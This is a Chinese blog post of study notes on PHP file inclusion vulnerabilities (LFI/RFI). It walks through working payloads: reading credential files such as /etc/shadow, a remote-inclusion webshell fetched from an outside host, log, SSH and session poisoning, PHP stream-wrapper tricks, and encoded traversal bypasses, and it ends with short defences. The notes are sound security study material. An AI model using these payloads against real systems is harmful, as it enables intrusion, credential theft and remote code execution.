本文最后更新于:星期三, 四月 29日 2020, 11:27 上午

文件包含漏洞

文件包含漏洞学习笔记

基本概念

程序开发人员为了让代码更灵活,将被包含的文件设置为变量,然后通过文件包含函数去引入文件,这就是文件包含。

PHP中用于文件包含的函数用四个:

  • require()
  • require_once()
  • include()
  • include_once()

include和require函数的区别是:include()在包含过程中如果出现错误,会抛出一个警告,程序继续执行,而require()出现错误时,会直接报错并退出程序。

require_once()和include_once()功能与require()和include()相同,但是如果一个文件被包含过了,那么require_once()和include_once()就不会再包含它,避免了函数重定义或变量重定义等问题。

当使用上面四个函数包含一个新文件时,会将这个文件内容当作PHP代码执行,PHP的内核不会关心被包含文件的类型。

漏洞形成原因

在通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而导致用户可以操作预料外的文件,就可能导致文件泄露甚至恶意代码注入。

一个简单的demo:

<?php
    $file = $_GET['file'];
    @include("$file");
?>

image-20200428191551362

漏洞分类

  • 本地文件包含LFI(Local File Inclusion)

    也就是能打开并包含本地文件,一般遇到的文件包含漏洞都是本地文件包含漏洞。

  • 远程文件包含RFI(Remote File Inclusion)

    这个允许我们包含远程服务的文件并执行,需要对php.ini进行配置:

    1. allow_url_fopen = On (默认为On)
    2. allow_url_include = On (php5.2之后默认为Off)

    只有两个配置项都为On时才能利用

文件包含利用

包含上传文件

文件包含函数会将被包含文件内容当作php代码去解析,可以通过网站的上传功能去上传一个图片马,然后通过文件包含去执行上传的webshell

读取敏感文件信息

linux:

/etc/passwd

/etc/group

/etc/shadow

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini //PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles[mysql](https://cloud.tencent.com/product/cdb?from=10680)\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

可以参考这篇博客:https://www.cnblogs.com/v1vvwv/p/Sensitive-Information-Leakge.html

远程文件包含getshell

在远程服务器创建shell.txt文件

<?php fputs(fopen("../shell.php","w"),'<?php eval($_POST[cmd]);?>');?>

如果web应用存在远程文件包含漏洞,通过下面的url进行访问

http://www.demo1.com/index.php?file=http://www.demo2.com/shell.txt

那么就会在服务器目录下生成一个webshell,然后可以用webshell去操作了

image-20200428195605215

包含environ文件

原理:https://www.exploit-db.com/papers/12886

/proc/self/environ文件中有web进程运行时的环境变量,其中很多是用户能控制得,一般来说通过在User-Agent中注入php代码,然后包含/proc/self/environ来getshell。

/proc/self/environ文件一般通过目录遍历去访问,如下:

../../../../../../../../proc/self/environ

利用条件:

  • php以cgi方式运行,这样environ才会保持UA头
  • environ文件可读

包含日志文件

web服务器一般会将用户的访问记录保存在访问日志中,可以通过构造请求,将PHP代码插入日志文件中,然后通过文件包含漏洞来执行日志中的PHP代码

利用条件:

  • 日志文件可读
  • 知道日志文件存储目录

常包含的文件目录:

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf / nginx.conf …..)或者根据phpinfo()的信息得到日志文件存储目录。同时日志记录的信息格式可能会被调整。

通常直接发起请求时不行的,会导致一些符号被编码无法正确解析,所以用bp抓包修改后发送请求。

包含SSH log

ssh-log默认存储路径为:/var/log/auth.log

poc:

ssh “<?php system(ls);?>”@192.168.45.140

image-20200429100500251

包含Session文件

利用条件:

  • 存在Session内的可控变量
  • Session文件可读写,并且知道存储路径

demo:

<?php
    session_start();
    $username = $_GET['username'];
    $_SESSION['username'] = $username;

Session一般默认存储路径:

/tmp

/tmp/sessions

/var/lib/php5

/var/lib/php7

Session文件命名格式:sess_[phpsessid] 其中phpsessid可以在cookie中找到,所以一般知道Session的存储路径就可以知道Session的完整路径了。

Session的存储目录在phpinfo()的信息中也有,有session.save_path控制。

往Session中写入PHP代码

image-20200428205054989

确认Session文件名:sess_d296d6332474ac7bd3cff71728b6f646

image-20200428205110726

image-20200428205211368

通过文件包含Session执行PHP代码

image-20200428205336540

php伪协议

PHP提供了一些杂项输入/输出(IO)流,允许访问PHP的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可操作的其他读取写入文件资源的过滤器。

一共有12个协议:

php://input

php://input可以获取POST请求的原始数据的只读流。当它和包含函数结合时,php://input流会被当作php文件执行,从而导致任意代码执行。要注意的是在 enctype=”multipart/form-data” 的时候 php://input 是无效的 。

php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。

它使用以下的参数作为路径的一部分

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

php://filter可以获取指定文件源码,但是但它和包含函数结合时,php://filter流会被当作php文件执行,所以一般会对它进行编码,让它不执行,来实现任意文件读取。

poc:

?file=php://filter/read=convert.base64.encode/resource=phpinfo.php

利用条件:

  • allow_url_fopen = On/Off
  • allow_url_include = On/Off

常用的过滤器有两个:convert. 和 string.

  • convert.*

    convert.* 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的.

    convert.base64-encodeconvert.base64-decode使用这两个过滤器等同于分别用 base64_encode()base64_decode()函数处理所有的流数据。

  • string.*

    这个过滤器的作用是对字符进行各种转换,如加密、转换大小写等。

    string.rot13(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据 。

    string.toupper(自 PHP 5.0.0 起)使用此过滤器等同于用 strtoupper()函数处理所有的流数据 。

    string.tolower(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。

zip://

zip://可以访问压缩包里面的文件。当它和包含函数结合时,zip://流会被当作 php文件执行。它不在乎压缩包的后缀名,只要文件是zip的压缩包就行了。相同类型的协议还有zlib://和 bzip2://

poc:

zip://[压缩包绝对路径]#[压缩包内文件]

?file=zip:///var/www/html/myzip.zip%23phpinfo.txt

利用条件:

  • allow_url_fopen = On/Off
  • allow_url_include = On/Off
  • php >= 5.2
phar://

phar://类似与zip://,一样可以导致任意代码执行,但是phar://中可以使用相对路径。

poc:

?file=phar://myzip.zip/phpinfo.txt

?file=phar:///var/www/html/myzip.zip/phpinfo.txt

利用条件:

  • allow_url_fopen = On/Off
  • allow_url_include = On/Off
  • php >= 5.3
data://

data://协议类似与php://input,可以让用户控制输入流,当它与包含函数结合时,用户输入的data://会被当作php文件执行。

poc:

data://[<MIME-type>][;charset=<encoding>][;base64],<data>

?file=data://,<?php phpinfo();

?file=data://text/plain,<?php phpinfo();

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

?file=data:text/plain,<?php phpinfo();

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

利用条件:

  • allow_url_fopen = On
  • allow_url_include = On
  • php > 5.2

最后来小结图:

image-20200429105712135

绕过姿势

前缀绕过

目录遍历

通过使用../../返回上一目录,这一操作被称为目录遍历(Path Traversal)。例如:?file=../../phpinfo/phpinfo.php

demo:

<?php
    $file = $_GET['file'];
    include "/var/www/html/".$file;
?>

当./\被过滤了怎么办,可以使用不同的编码来绕过服务器的waf防御

2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..\
%2e%2e%\    ->    ..\
..%5c     ->    ..\
%252e%252e%255c    ->    ..\
..%255c     ->    ..\
后缀绕过

url格式:protocol://hostname[:port]/path[?query]#fragment

利用[?query]绕过

访问参数:?file=http://localhost:80/phpinfo.php?

拼接后: ?file=http://localhost:80/phpinfo.php?.txt

利用#fragment绕过

访问参数:?file=http://localhost:80/phpinfo.php%23

拼接后: ?file=http://localhost:80/phpinfo.php#.txt

00字符截断

这个一般遇见的比较少,因为要求php版本<=5.3.4

poc:

?file=phpinfo.php%00

超长字符截断

linux下,目录字符串长度最大值为4096,windows的为256, 只要不断重复./ , 则后缀在打到最大值时会被丢弃

poc:

?file=./././././……././shell.php

这个要求php版本< 5.28

利用协议

利用zip://和phar://协议,因为整个压缩包都是我们可控的,所以只要知道他们的后缀名,就可以自己构造

demo:

<?php
    $file = $_GET["file"];
    include $file.".txt";

?>

zip://

访问参数 ?file=zip:///var/www/html/zip.jpg%23phpinfo

拼接后 ?file=zip:///var/www/html/zip.jpg#phpinfo.txt

phar://

访问参数 ?file=phar://zip.zip/phpinfo

拼接后 ?file=phar://zip.zip/phpinfo.txt

防御手段

  • allow_url_include和allow_url_fopen权限最小化
  • 设置open_basedir(这个会将php能打开的文件限制在指定的目录树中)
  • 白名单限制包含文件
  • 严格过滤./\

REFERENCE


WEB     

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!